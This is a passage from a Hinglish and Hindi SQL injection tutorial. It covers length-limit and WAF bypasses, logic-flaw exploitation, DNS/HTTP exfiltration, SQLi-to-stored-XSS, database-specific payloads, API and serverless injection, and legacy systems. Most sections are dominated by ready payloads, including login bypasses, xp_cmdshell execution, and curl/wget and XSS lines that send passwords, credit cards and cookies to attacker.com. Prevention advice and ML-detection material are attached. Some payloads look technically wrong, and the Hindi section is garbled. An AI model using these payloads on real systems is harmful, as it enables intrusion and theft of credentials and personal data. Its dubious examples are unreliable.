SQLi inject kiya ja sakta hai.

✅ Normal Query (Blocked Due to Quotes):

' OR '1'='1'

✅ Bypassing Quotes Using CHAR():

OR CHAR(49)=CHAR(49)

Benefit:

• Query short ho jati hai


• Firewall easily bypass ho sakti hai

4⃣ Using Boolean-Based Injection

Agar long payload block ho rahi ho, toh Boolean condition use karke SQLi execute ki ja sakti
hai.
✅ Normal Query (Blocked Due to Length):

' UNION SELECT username, password FROM users; --

✅ Shortened Boolean Query:

' OR 1=1 #

Benefit:

• Short query hone ke bawajood attack work karega

5⃣ Using Hex Encoding for Compression

Hex encoding se query short ki ja sakti hai aur WAF bypass ho sakta hai.

✅ Normal Query:

' UNION SELECT username FROM users

✅ Hex Encoded Query:

0x27 UNION SELECT username FROM users

Benefit:

• Payload chhoti ho jati hai


• Firewall detection avoid kiya ja sakta hai

🔹 3. Real-Life Exploitation Example

✅ Step 1: Vulnerable Input Field Identify Karo

http://target.com/login.php?user=admin' AND 1=1 --

❌ Blocked: Input limit 10 characters tak hai!

✅ Step 2: Short Payload Try Karo

' OR 1 #
Result:

• Bina password ke login ho gaya!


• SQL Injection ka proof mil gaya!

✅ Step 3: Data Extract Karne ke liye Hex Encoding Use Karo

' UNION SELECT 0x757365726E616D65,0x70617373776F7264 FROM users #

Result:

• Hex encoded query ke through database dump ho gaya!

🔹 4. How to Prevent SQL Injection (Length Restriction Bypass Se


Bachne Ke Liye)?

✅ Use Parameterized Queries


❌ Wrong (Vulnerable to SQLi Length Bypass)

$query = "SELECT * FROM users WHERE username = '" . $_GET['user'] . "'";

✅ Right (Secure Query - Using Prepared Statements)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");


$stmt->execute([$_GET['user']]);

✅ WAF Configuration Improve Karo

• Short payloads bhi detect hone chahiye.


• Inline comments aur Hex encoding ke against security policies enforce karo.

✅ Limit SQL Query Execution Privileges

• Read-only mode enable karo.


• Database user ko DELETE aur DROP permissions mat do.
🔹 Conclusion

✅ Length restrictions hone ke bawajood SQL Injection possible hoti hai.


✅ Attackers multiple techniques use karte hain jaise Boolean conditions, Hex encoding,
aur inline comments.
✅ Secure coding aur WAF rules ko properly implement karne se SQLi ko prevent kiya ja
sakta hai.

17. Logical Flaws in SQL Queries


🔹 Introduction

SQL Injection sirf syntax-based vulnerability nahi hai, balki logical flaws ke through bhi attack
possible hota hai. Logical flaws ka matlab hai ki SQL queries aisi likhi gayi hain jo
unintended behavior cause karti hain, jise attacker exploit kar sakta hai.

Example Use Cases:

• Incorrect authentication logic


• Improper role-based access control (RBAC)
• Broken business logic leading to SQLi
• Weak password validation using SQL queries

Aaj hum dekhenge kaise logical flaws SQL Injection ke liye dangerous ho sakti hain.

🔹 1. Common Logical Flaws Leading to SQL Injection


1⃣ Flawed Authentication Logic (Bypassing Login using SQLi)

Agar authentication system incorrect logic use karta hai, toh SQL Injection se login bypass ho
sakta hai.

✅ Vulnerable Code (PHP + MySQL):

$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND
password='$password'";
$result = mysqli_query($conn, $query);
if(mysqli_num_rows($result) > 0) {
echo "Login Successful!";
} else {
echo "Invalid Credentials!";
}

Problem:

• Query me direct user input concatenate ho raha hai


• Attacker bina password ke login kar sakta hai

✅ Attack Payload:

admin' --

Result:

• Attacker admin account me bina password ke login ho sakta hai!

2⃣ Flawed Role-Based Access Control (RBAC Bypass)

Agar RBAC system proper checks nahi lagata, toh SQL Injection ke through admin
privileges gain kiye ja sakte hain.

✅ Vulnerable Code (PHP + MySQL):

$query = "SELECT * FROM users WHERE username='$username' AND role='user'";

✅ Attack Payload:

' UNION SELECT 'admin' --

Result:

• Attacker normal user se admin user me convert ho gaya!


3⃣ Broken Business Logic Leading to SQLi

Agar business logic me vulnerabilities hain, toh attacker unintended behavior trigger kar
sakta hai.

✅ Example: E-commerce Discount Exploitation

$query = "SELECT * FROM discounts WHERE code='$discount_code'";

✅ Attack Payload:

' OR 1=1 --

Result:

• Attacker unlimited discounts apply kar sakta hai!

4⃣ Weak Password Validation Using SQL Queries

Agar password validation SQL queries par depend karti hai, toh attacker SQL Injection se
bypass kar sakta hai.

✅ Vulnerable Code:

$query = "SELECT * FROM users WHERE username='$username' AND


password=MD5('$password')";

✅ Attack Payload:

' OR '1'='1

Result:

• Login bypass ho gaya, chahe password sahi ho ya nahi!

🔹 2. How to Exploit Logical Flaws in SQL Queries?

✅ Step 1: Identify Input Fields

• Login forms
• Role-based access control endpoints
• Business logic queries (discounts, cart manipulation)

✅ Step 2: Try Basic SQL Injection Payloads

' OR '1'='1
' UNION SELECT 'admin' --

✅ Step 3: Analyze Query Response

• Agar login bypass ho raha hai


• Agar admin privileges mil rahe hain
• Agar discounts unlimited apply ho rahe hain

✅ Step 4: Automate Using SQLmap

sqlmap -u "http://target.com/login.php" --data="username=admin&password=pass"


--dbs --batch

Result:

• Database ka pura dump mil sakta hai


• User roles modify kiye ja sakte hain

🔹 3. How to Prevent Logical Flaws in SQL Queries?

✅ Use Parameterized Queries (Always Use Prepared Statements)


❌ Wrong (Vulnerable to SQLi)

$query = "SELECT * FROM users WHERE username='$username' AND


password='$password'";

✅ Right (Secure Query - Using Prepared Statements)

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password =


?");
$stmt->execute([$username, $password]);

✅ Implement Proper Role-Based Access Control (RBAC)

• Users ko sirf unke allowed roles tak access dena chahiye


• Direct SQL query ke through role modification nahi honi chahiye
✅ Secure Business Logic with Proper Validations

• Discounts apply hone se pehle server-side verification honi chahiye


• Role-based changes sirf admin panel me validated requests se ho

✅ Use Strong Hashing for Password Validation (Never Query Passwords Directly)

• Instead of MD5(), use bcrypt or Argon2


• Passwords ko SQL query me compare mat karo, hash match karo

🔹 Conclusion

✅ Logical flaws sirf syntax-based vulnerabilities nahi hoti, ye entire application logic
compromise kar sakti hain.
✅ Incorrect authentication aur business logic flaws se SQL Injection aur privilege
escalation ho sakti hai.
✅ Proper security measures jaise prepared statements aur access control implementation
se ye vulnerabilities prevent ki ja sakti hain.

18. DNS & HTTP Exfiltration via SQL Injection


🔹 Introduction

SQL Injection ka ek advanced exploitation technique hai data exfiltration via DNS aur
HTTP requests. Jab firewall direct database output ko block kar rahi ho ya blind SQL Injection
ho, tab attacker data ko external server par leak kar sakta hai using:

• DNS Requests (Out-of-Band - OOB SQLi)


• HTTP Requests (Webhooks / External APIs)
• Error-Based Exfiltration using External Services

Real-World Usage:

• WAF bypass karke data exfiltrate karna


• Blind SQL Injection me response na aane par data leak karna
• Restricted networks me se data extract karna
🔹 1. DNS Exfiltration via SQL Injection

Concept: Attacker database ka data DNS request ke through exfiltrate karta hai.

✅ Exfiltration Mechanism:

1. Attacker ek malicious DNS server set up karta hai


2. SQLi ke through data ko subdomain ke form me encode karta hai
3. Database server DNS lookup perform karta hai
4. Data attacker ke server tak DNS query ke form me pohch jata hai

✅ Vulnerable SQL Query:

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT username FROM users LIMIT 1),


'.attacker.com\\file'));

✅ Attack Execution:

SELECT (SELECT username FROM users LIMIT 1) INTO OUTFILE


'\\\\attacker.com\\data.txt';

Result:

• Server ek DNS lookup request bhejta hai attacker ke domain par


• Attacker DNS logs me query analyze karke username extract kar leta hai

Real-Life Example:

SELECT (SELECT password FROM users LIMIT 1) INTO OUTFILE


'\\\\evil.dnslogger.com\\pwned.txt';

• Database evil.dnslogger.com ko DNS request bhejega


• Attacker ke DNS logs me password leak ho jayega!

✅ Tool for DNS Logging:

• Burp Collaborator
• DNSBin
• Interactsh (ProjectDiscovery)
🔹 2. HTTP Exfiltration via SQL Injection

Concept: Agar server external HTTP requests allow karta hai, toh attacker HTTP requests
ke through database ka sensitive data apne server pe leak kar sakta hai.

✅ Vulnerable SQL Query:

SELECT * FROM users WHERE id=1 AND


LOAD_FILE('http://attacker.com/steal.php?data='||(SELECT username FROM users
LIMIT 1));

✅ Attack Execution (Using Curl in SQL):

SELECT system('curl http://attacker.com/steal.php?data='||(SELECT password


FROM users LIMIT 1));

Result:

• Database attacker ke HTTP server par request bhejega


• Attacker ke logs me stolen data dikhega

Real-Life Example:

SELECT system('wget http://attacker.com/logger.php?data='||(SELECT


credit_card FROM users LIMIT 1));

• credit_card details attacker ke server pe pohch jayenge!

✅ Tools for HTTP Logging:

• RequestBin
• Webhook.site
• Burp Suite Collaborator

🔹 3. Advanced Payloads for Exfiltration


1⃣ Exfiltrating Data Byte by Byte (DNS Based)

Agar WAF ya firewall full data dump block karti hai, toh data ko byte by byte leak kar
sakte hain.

✅ Payload (MySQL)
SELECT IF(SUBSTRING((SELECT password FROM users LIMIT 1), 1, 1)='a',
LOAD_FILE('\\\\a.attacker.com\\x'), LOAD_FILE('\\\\b.attacker.com\\x'));

Result:

• Agar password ka first character ‘a’ hai, toh a.attacker.com pe request jayegi
• Agar ‘b’ hai, toh b.attacker.com pe request jayegi

Step-by-Step Attack:

1. 1st character leak karo (a-z, 0-9)


2. 2nd character leak karo
3. Pura password reconstruct karo

2⃣ HTTP Exfiltration using XML External Entity (XXE + SQLi)

Agar database aur web application XML parse karti hai, toh SQLi aur XXE ka combo
attack possible hai.

✅ Payload (Using SQLi + XXE for Data Theft)

<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://attacker.com/logger.php?data="||(SELECT
password FROM users LIMIT 1)>
]>
<foo>&xxe;</foo>

Result:

• XML payload execute hote hi database password attacker ke server par chala jayega

🔹 4. How to Prevent SQL Injection Exfiltration?

✅ 1. Disable External Requests from Database

• DNS & HTTP outbound requests block karo


• MySQL me:
• SET GLOBAL local_infile = 0;
• MSSQL me:
• sp_configure 'show advanced options', 1;
• GO
• sp_configure 'xp_cmdshell', 0;

✅ 2. Use Parameterized Queries

• Prepared statements ensure karte hain ki data execute na ho:


• $stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");
• $stmt->execute([$username]);

✅ 3. Implement Web Application Firewall (WAF)

• Cloudflare WAF ya ModSecurity rules apply karo jo outbound DNS & HTTP exfiltration
detect kar sake.

✅ 4. Monitor DNS & HTTP Requests

• SIEM tools use karo (Splunk, Graylog) jo suspicious outbound requests detect kare.

🔹 Conclusion

✅ DNS aur HTTP exfiltration ek advanced SQL Injection technique hai jo restricted
environments me bhi data leak kar sakti hai.
✅ Attacker SQL queries ka use karke database se sensitive data ko apne server pe leak
kar sakta hai using external DNS aur HTTP requests.
✅ Proper security measures (WAF, DNS monitoring, outbound traffic restrictions) se isko
prevent kiya ja sakta hai.

19. SQL Injection in Stored XSS (Cross-Site Scripting)


🔹 Introduction

SQL Injection aur Cross-Site Scripting (XSS) dono hi dangerous web vulnerabilities hain.
Agar SQLi aur Stored XSS ek saath execute ho jayein, toh attacker database aur frontend
dono pe full control le sakta hai.

Real-World Usage:
• Admin Panel ka Control Lena (Stored XSS via SQLi)
• Session Hijacking aur Account Takeover
• Defacement aur Phishing Attacks

🔹 1. How SQL Injection Can Lead to Stored XSS?

Agar ek web application user inputs ko SQL Injection se sanitize nahi karti, toh attacker
malicious JavaScript inject kar sakta hai, jo database me store ho jata hai. Jab bhi koi user
page visit karega, toh JavaScript execute ho jayegi.

✅ Scenario:

1. Attacker SQL Injection ka use karke database me JavaScript insert karta hai
2. Jab bhi koi victim webpage visit karega, script execute ho jayegi
3. Session hijack, cookie theft, keylogging ya phishing ho sakta hai

Example:
Agar ek forum ya comment system SQL Injection vulnerable hai, toh attacker XSS payload
ko SQLi ke through insert kar sakta hai.

🔹 2. Practical SQL Injection Leading to Stored XSS

✅ Vulnerable Query (MySQL Example)

INSERT INTO comments (username, comment) VALUES ('attacker', '" + user_input


+ "');

• Yeh query directly user input ko database me insert kar rahi hai
• Koi sanitization nahi ho rahi, is wajah se SQL Injection aur XSS possible hai

✅ Attack Execution (Combining SQLi & XSS)

1'); INSERT INTO comments (username, comment) VALUES ('hacker',


'<script>alert("Hacked!")</script>'); --

Result:

• XSS payload database me store ho jayega


• Jab bhi koi user page visit karega, toh alert box pop-up hoga
🔹 3. Stored XSS via SQL Injection - Real-Life Examples
1⃣ XSS-Based Cookie Theft using SQLi

Attacker users ki cookies ko steal kar sakta hai aur session hijack kar sakta hai.

✅ Payload:

1'); INSERT INTO comments (username, comment) VALUES ('admin',


'<script>document.location="http://attacker.com/steal.php?cookie="+document.c
ookie</script>'); --

Result:

• User jese hi page visit karega, unki cookies attacker ke server pe chali jayengi
• Attacker victim ka session hijack kar lega!

2⃣ Defacement Attack (Modifying Website Content via SQLi & XSS)

Attacker website ka content modify karke deface kar sakta hai.

✅ Payload:

1'); UPDATE posts SET content = '<h1>Hacked by Attacker!</h1>' WHERE id=1; --

Result:

• Website ka content attacker ke message se replace ho jayega


• Web defacement ka ek real-world example!

3⃣ Phishing Attack Using Stored XSS + SQLi

Attacker fake login form inject karke credentials steal kar sakta hai.

✅ Payload:

1'); INSERT INTO comments (username, comment) VALUES ('victim',


'<script>window.location="http://attacker.com/fake-login.php";</script>'); --
Result:

• Victim jese hi page visit karega, wo fake login page pe redirect ho jayega
• Phishing attack se credentials chori ho sakte hain

🔹 4. Preventing SQL Injection Leading to Stored XSS

✅ 1. Use Parameterized Queries

• Prepared statements ka use karein jo SQLi aur XSS prevent karein:


• $stmt = $pdo->prepare("INSERT INTO comments (username, comment) VALUES
(?, ?)");
• $stmt->execute([$username, htmlspecialchars($comment)]);

✅ 2. Sanitize & Escape User Input

• XSS prevention ke liye HTML encoding ka use karein:


• echo htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');

✅ 3. Use Web Application Firewall (WAF)

• Cloudflare ya ModSecurity jaise WAF tools malicious SQLi aur XSS payloads detect aur
block kar sakte hain.

✅ 4. Implement Content Security Policy (CSP)

• XSS prevent karne ke liye CSP headers enable karein:


• Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-
randomvalue';

🔹 Conclusion

✅ SQL Injection aur Stored XSS ka combination extremely dangerous hai


✅ Attacker website modify kar sakta hai, session hijack kar sakta hai aur phishing kar
sakta hai
✅ Proper input validation, escaping aur CSP se isse prevent kiya ja sakta hai
20. Database-Specific SQL Injection Techniques
SQL Injection har database me thodi alag hoti hai, kyunki har database ka apna syntax aur
functions hote hain. Is section me hum MySQL, MSSQL, PostgreSQL, aur Oracle databases
ke SQLi techniques dekhenge.

🔹 1. MySQL-Specific SQL Injection


MySQL ek widely used open-source database hai. Isme SQL Injection ke liye error-based,
time-based aur UNION-based SQLi ka use hota hai.

✅ 1.1 Error-Based SQL Injection (MySQL)

Error-based SQLi tab kaam karti hai jab application error messages show karti hai.

Payload:

1' OR 1=1 --

✅ Attacker ko error messages mil sakti hain jo database structure ko reveal karti hain.

Advanced Payload to Get Database Version

1' AND (SELECT @@version) --

✅ Database ka version pata chal jayega.

✅ 1.2 Time-Based Blind SQL Injection (MySQL)

Agar error messages block ho rahi hain, toh hum time delays se verify kar sakte hain ki SQLi
exist karti hai ya nahi.

Payload:

1' AND IF(1=1, SLEEP(5), 0) --

✅ Agar response delay hota hai, toh SQL Injection exist karti hai.
✅ 1.3 UNION-Based SQL Injection (MySQL)

Agar UNION SELECT enabled hai, toh hum database ke tables aur columns nikal sakte
hain.

Payload to Find Number of Columns:

1' ORDER BY 3 --

✅ Agar error aaye toh columns kam ya zyada hain, warna query execute ho jayegi.

Extracting Database Name:

1' UNION SELECT 1, database(), 3 --

✅ Current database ka naam reveal ho jayega.

🔹 2. Microsoft SQL Server (MSSQL) SQL Injection


MSSQL ka syntax aur built-in functions MySQL se different hote hain.

✅ 2.1 Finding Database Name in MSSQL


1' UNION SELECT db_name(), NULL, NULL --

✅ Database ka naam reveal ho jayega.

✅ 2.2 Error-Based SQLi in MSSQL


1' AND 1=(SELECT @@version) --

✅ MSSQL server ka version pata chal jayega.

✅ 2.3 Time-Based Blind SQL Injection (MSSQL)

MSSQL me WAITFOR DELAY function use hota hai.

Payload:
1' WAITFOR DELAY '00:00:05' --

✅ Agar response delay ho raha hai, toh SQLi exist karti hai.

🔹 3. PostgreSQL-Specific SQL Injection


PostgreSQL ek advanced open-source database hai, jisme function-based SQLi aur stacked
queries use hoti hain.

✅ 3.1 Stacked Queries in PostgreSQL


1'; SELECT version(); --

✅ Multiple queries ek sath execute ho sakti hain.

✅ 3.2 Time-Based SQL Injection (PostgreSQL)


1' OR pg_sleep(5) --

✅ Agar request delay hoti hai, toh SQLi possible hai.

🔹 4. Oracle-Specific SQL Injection


Oracle ek enterprise-grade database hai jo SELECT FROM dual aur SYS functions use karta hai.

✅ 4.1 Extracting User in Oracle


1' UNION SELECT user FROM dual --

✅ Database user ka naam reveal hoga.

✅ 4.2 Time-Based SQL Injection (Oracle)

Oracle me DBMS_LOCK.SLEEP function ka use hota hai.

Payload:

1' OR 1=1 AND DBMS_LOCK.SLEEP(5) --


✅ Agar request slow ho jaye, toh SQLi possible hai.

🔹 Conclusion
✅ Har database ka alag syntax aur functions hote hain
✅ MySQL, MSSQL, PostgreSQL, aur Oracle ke liye different SQLi techniques use hoti
hain
✅ Agar database identify ho jaye, toh exploitation easy ho jati hai

21. Advanced SQL Injection in JSON & XML APIs


Modern applications REST APIs, JSON-based requests, aur XML payloads use karti hain.
Attackers SQL Injection ko JSON aur XML APIs me bhi exploit kar sakte hain.

🔹 1. SQL Injection in JSON-Based APIs


Bohot saari web applications JSON payloads ko process karti hain, lekin agar proper input
sanitization na ho toh SQL Injection possible ho sakti hai.

✅ Vulnerable API Endpoint (JSON Payload)

{
"username": "admin",
"password": "password123"
}

Agar backend directly SQL query execute kar raha hai, toh SQL Injection execute ho sakti
hai:

✅ Vulnerable SQL Query (PHP Example)

$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "'


AND password = '" . $_POST['password'] . "'";
Agar attacker ne payload modify kar diya, toh authentication bypass ho sakta hai.

✅ Malicious JSON Payload:

{
"username": "admin' -- ",
"password": "anything"
}

Query Execution:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

✅ Attacker bina password ke login ho jayega!

🔹 2. Extracting Data via JSON SQL Injection


Agar API multiple fields allow karti hai, toh attacker UNION-based SQL Injection execute
kar sakta hai.

✅ Malicious JSON Payload for Extracting Database Name

{
"username": "' UNION SELECT database(), NULL, NULL -- ",
"password": "password123"
}

✅ Query Execution:

SELECT * FROM users WHERE username = '' UNION SELECT database(), NULL, NULL -
- ' AND password = 'password123'

Database ka naam reveal ho jayega!

🔹 3. SQL Injection in XML APIs


Agar web application XML payloads accept karti hai, toh SQLi XML data ke andar bhi
possible hai.

✅ Vulnerable XML Request:


<login>
<username>admin</username>
<password>password123</password>
</login>

Agar input validate nahi ho raha, toh attacker malicious SQL payload insert kar sakta hai:

✅ Malicious XML Payload for Authentication Bypass

<login>
<username>admin' -- </username>
<password>anything</password>
</login>

✅ Query Execution:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = 'anything'

Result: Attacker bina password enter kiye login ho jayega!

🔹 4. Blind SQL Injection in JSON & XML APIs


Agar application error messages nahi dikhati, toh time-based SQL Injection ka use karke
query execution verify ki ja sakti hai.

✅ Malicious JSON Payload (Time-Based Blind SQLi)

{
"username": "admin' OR IF(1=1, SLEEP(5), 0) -- ",
"password": "anything"
}

Agar response delay hota hai, toh SQLi vulnerable hai!

✅ Malicious XML Payload (Time-Based Blind SQLi in XML API)

<login>
<username>admin' OR pg_sleep(5) --</username>
<password>password</password>
</login>

Agar server response 5 seconds delay hota hai, toh attack successful hai!
🔹 5. Preventing SQL Injection in JSON & XML APIs
✅ Use Parameterized Queries

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password =


?");
$stmt->execute([$username, $password]);

✅ Use Web Application Firewall (WAF)


✅ Sanitize Input in JSON & XML
✅ Validate Content-Type Headers Properly

🔹 Conclusion
✅ JSON aur XML APIs me SQL Injection possible hai agar input validation na ho
✅ REST API authentication bypass aur database extraction possible ho sakta hai
✅ Proper sanitization aur WAF se isko prevent kiya ja sakta hai

22. SQL Injection in Serverless Applications


Serverless computing (e.g., AWS Lambda, Google Cloud Functions, Azure Functions) ka use
modern applications me ho raha hai. Lekin agar proper security measures na ho, toh serverless
functions bhi SQL Injection ke liye vulnerable ho sakti hain!

🔹 1. Serverless Applications me SQL Injection Kyu


Possible Hai?
Serverless applications me backend functions dynamically execute hoti hain. Agar functions
database queries ko properly handle nahi karti, toh SQL Injection ka risk hota hai.
✅ Example: Vulnerable AWS Lambda Function (Node.js & MySQL)

exports.handler = async (event) => {


let connection = await mysql.createConnection({host, user, password,
database});
let query = `SELECT * FROM users WHERE username = '${event.username}'`;
let [rows] = await connection.execute(query);
return rows;
};

Is function me SQL Injection possible hai kyunki user input directly SQL query me
insert ho raha hai!

🔹 2. Exploiting SQL Injection in AWS Lambda (Real-


World Scenario)
Agar AWS Lambda API Gateway se JSON input accept kar raha hai, toh attacker malicious
payload send karke SQLi exploit kar sakta hai.

✅ Malicious Request:

{
"username": "' OR '1'='1"
}

✅ Query Execution:

SELECT * FROM users WHERE username = '' OR '1'='1'

Attacker sabhi users ka data fetch kar sakta hai!

🔹 3. SQL Injection in Firebase Firestore (NoSQL


Injection)
Firebase jaise serverless NoSQL databases bhi injection attacks ke liye vulnerable ho sakte
hain.

✅ Vulnerable Query (Firebase Firestore - JavaScript)


db.collection("users").where("username", "==", req.body.username).get()

✅ Malicious Payload:

{
"username": {"$gt": ""}
}

Attacker MongoDB-like query operators ka use karke injection exploit kar sakta hai!

🔹 4. SQL Injection in Google Cloud Functions (GCP)


Agar Google Cloud Functions user input ko directly SQL queries me insert kar rahi hain,
toh SQL Injection possible ho sakti hai.

✅ Vulnerable GCP Function (Python & PostgreSQL)

import psycopg2

def vulnerable_function(request):
username = request.args.get("username")
conn = psycopg2.connect("dbname=mydb user=myuser password=mypassword")
cur = conn.cursor()
cur.execute(f"SELECT * FROM users WHERE username = '{username}'")
return cur.fetchall()

✅ Malicious Input:

' OR '1'='1

Attacker bina authentication ke users ka data nikal sakta hai!

🔹 5. Preventing SQL Injection in Serverless Applications


✅ Use Parameterized Queries (Best Practice!)

let query = `SELECT * FROM users WHERE username = ?`;


let [rows] = await connection.execute(query, [event.username]);
✅ Input Validation (Whitelist Allowed Characters)
✅ Use Web Application Firewall (WAF) - AWS WAF, Cloudflare WAF
✅ Use ORM (e.g., Sequelize for Node.js, SQLAlchemy for Python)
✅ Monitor Logs & Set Up Alerts in AWS CloudWatch, Google Stackdriver

🔹 Conclusion
✅ Serverless applications bhi SQL Injection ke liye vulnerable ho sakti hain
✅ AWS Lambda, Google Cloud Functions, Firebase me bhi SQL Injection ka risk hota
hai
✅ Proper input validation, parameterized queries aur WAF ka use karke isse prevent
kiya ja sakta hai

23. Machine Learning & AI for SQL Injection Detection


AI aur Machine Learning (ML) ka use SQL Injection attack detection aur prevention ke liye
kiya ja sakta hai. Modern Intrusion Detection Systems (IDS) aur Web Application Firewalls
(WAF) me AI-based models implement kiye ja rahe hain jo SQLi attempts ko detect aur block
kar sakte hain.

🔹 1. SQL Injection Detection Using Machine Learning


Machine Learning models normal aur malicious SQL queries ko differentiate karne ke liye
train kiye ja sakte hain.

✅ Training ke liye 2 types ki SQL Queries ka use hota hai:

1. Legitimate Queries (Safe Queries)


2. Malicious Queries (SQLi Payloads)
✅ ML Models SQL Injection ko detect karne ke liye 3 approaches use karte hain:

1. Supervised Learning - Pre-labeled SQL queries se model train hota hai.


2. Unsupervised Learning - Abnormal behavior detect karne ke liye clustering algorithms
ka use hota hai.
3. Deep Learning - Neural networks SQL Injection patterns ko automatically learn karte
hain.

🔹 2. Real-World Implementation of ML-Based SQLi


Detection
🛠 Step 1: Data Collection

✅ SQL Query Dataset Create Karna


Ek dataset jisme normal aur SQLi queries included ho. Example:

🛠 Step 2: Feature Extraction

✅ SQL queries ko tokenize karke feature vector generate kiya jata hai

Example:

• SELECT * FROM users WHERE id=1 → Safe


• ' OR '1'='1' -- → SQL Injection
• UNION SELECT username, password FROM users → SQL Injection

🛠 Step 3: Machine Learning Model Training

✅ Different ML algorithms use kiye jate hain:

• Logistic Regression
• Random Forest
• Support Vector Machines (SVM)
• Deep Learning (LSTM, CNN for sequence-based detection)
Example:

from sklearn.ensemble import RandomForestClassifier


model = RandomForestClassifier()
model.fit(X_train, y_train)

Trained model SQL Injection queries detect karne ke liye use hota hai!

🔹 3. AI-Based WAF (Web Application Firewall) for SQL


Injection Prevention
AI-powered WAF SQL Injection detection aur real-time attack blocking ke liye use hota
hai.

✅ Popular AI-Powered WAF Solutions:

• Cloudflare WAF
• Imperva WAF
• AWS WAF with AI
• ModSecurity with AI-based ML models

✅ AI WAF ka kaam:

1. Live traffic monitor karna


2. Anomalous SQL queries ko detect karna
3. Real-time threat response dena (blocking, alerting)

🔹 4. Real-Life Example: AI-Powered SQL Injection


Detection
Google aur Microsoft ke security research teams AI models develop kar rahe hain jo
SQL Injection attacks ko detect kar sakein.

Example: Microsoft Azure Sentinel AI-based threat detection use karta hai jo SQLi
attempts ko monitor aur block karta hai.
# AI Model for SQL Injection Detection
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.ensemble import RandomForestClassifier
from sklearn.pipeline import Pipeline

pipeline = Pipeline([
('vectorizer', TfidfVectorizer()),
('classifier', RandomForestClassifier())
])

pipeline.fit(training_queries, training_labels)

Ye model SQLi queries detect karne me help karega!

🔹 5. Limitations & Challenges


AI-based SQL Injection detection ke kuch challenges hain:

1. False Positives - Kabhi kabhi safe queries bhi block ho sakti hain.
2. Evasion Techniques - Attackers AI bypass karne ke naye methods dhundh sakte hain.
3. Training Data Quality - Agar dataset biased hai toh model properly detect nahi karega.

✅ Solution:

• Continuous model training & improvement


• Behavior-based anomaly detection implement karna
• Hybrid approach (Signature-based + ML-based detection)

🔹 Conclusion
✅ AI aur Machine Learning SQL Injection detection aur prevention me bohot useful hain
✅ AI-based WAF aur IDS real-time SQL Injection attacks ko block kar sakte hain
✅ Continuous model training aur monitoring zaroori hai taake false positives aur evasion
techniques ko minimize kiya ja sake
24. SQL Injection in Legacy Systems
Legacy systems (पुराने software या outdated database applications) में SQL Injection एक बडा
खतरा होता है। ये systems अक्सर पुराने codebase पर चलते हैं और उनमें modern security practices
implement नह ीं होत ीं, जिससे SQL Injection attacks के जलए वे ज्यादा vulnerable होते हैं।

🔹 1. Legacy Systems SQL Injection Vulnerabilities

✅ क्ोीं legacy systems ज्यादा vulnerable होते हैं ?

1. Hardcoded Queries - पुराने codebase में dynamic user inputs को validate नह ीं जकया िाता।
2. Lack of Parameterized Queries - Legacy systems में prepared statements का उपयोग
नह ीं जकया िाता।
3. Unsupported Database Versions - पुराने databases security updates नह ीं लेते, जिससे वे
पुराने exploits के जलए vulnerable रहते हैं।
4. Weak Authentication Mechanisms - पुरान authentication methods आसान से bypass क
िा सकत हैं।
5. Direct Database Calls - Application स धे database queries execute करत हैं , जिससे SQL
Injection आसान हो िाता है।

🔹 2. Real-World Example of SQL Injection in Legacy Systems

Example 1: Vulnerable ASP Classic Code


ASP (Active Server Pages) एक पुरान Microsoft web technology है िो अभ भ कई पुराने
enterprise systems में उपयोग क िात है।

✅ Vulnerable Code (ASP + MS Access Database)

username = Request.QueryString("username")
password = Request.QueryString("password")

query = "SELECT * FROM users WHERE username = '" & username & "' AND password
= '" & password & "'"
Set rs = conn.Execute(query)

Attack Payload:

username=admin'--
password=anything
Execution:

SELECT * FROM users WHERE username = 'admin'--' AND password = 'anything'

✅ Result: Attacker जबना password के admin बन सकता है !

Example 2: Vulnerable PHP + MySQL Code


पुराने PHP applications में भ SQL Injection के जलए vulnerabilities होत हैं।

✅ Vulnerable Code (PHP + MySQL)

$user = $_GET['user'];
$query = "SELECT * FROM users WHERE username = '$user'";
$result = mysqli_query($conn, $query);

Attack Payload:

' OR 1=1 --

Execution:

SELECT * FROM users WHERE username = '' OR 1=1 -- '

✅ Result: Attacker पूरे database का data access कर सकता है।

🔹 3. Exploiting Legacy Database Systems

1. MSSQL xp_cmdshell Exploitation


Microsoft SQL Server 2000/2005 में xp_cmdshell enabled होता था, जिससे SQL Injection के िररए
system commands execute क िा सकत हैं ।

✅ Attack Payload (MSSQL):

'; EXEC xp_cmdshell 'whoami' --

✅ Result: Attacker system के अींदर command execution कर सकता है !


2. MySQL 4.x and 5.x User Privilege Bypass
MySQL के पुराने versions में privilege escalation के जलए SQL Injection का उपयोग जकया िा सकता
था।

✅ Attack Payload (MySQL):

' UNION SELECT host, user, password FROM mysql.user --

✅ Result: Attacker database users और उनके hashed passwords चुरा सकता है।

🔹 4. How to Secure Legacy Systems from SQL Injection

✅ 1. Use Parameterized Queries

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ?");


$stmt->execute([$username]);

✅ 2. Disable Dangerous Functions (xp_cmdshell, LOAD_FILE(), OUTFILE)


✅ 3. Update Database & Web Server - पुरान database versions को upgrade करें ।
✅ 4. Use Web Application Firewall (WAF) - Cloudflare, ModSecurity िैसे WAF solutions
implement करें ।
✅ 5. Apply Least Privilege Principle - Database users को unnecessary privileges ना दें ।

🔹 Conclusion

✅ Legacy systems में SQL Injection का खतरा अधिक होता है क्ोींधक वे outdated security
practices पर चलते हैं।
✅ Hardcoded queries, outdated databases और weak authentication attackers को आसान
SQLi exploitation का मौका दे त है।
✅ Security hardening, WAF, parameterized queries और database upgrades के जररए इन
vulnerabilities को fix धकया जा सकता है।
25. Automation & Custom Tool Development for SQL
Injection
SQL Injection exploitation को तेि और अजधक प्रभाव बनाने के जलए automation का उपयोग जकया
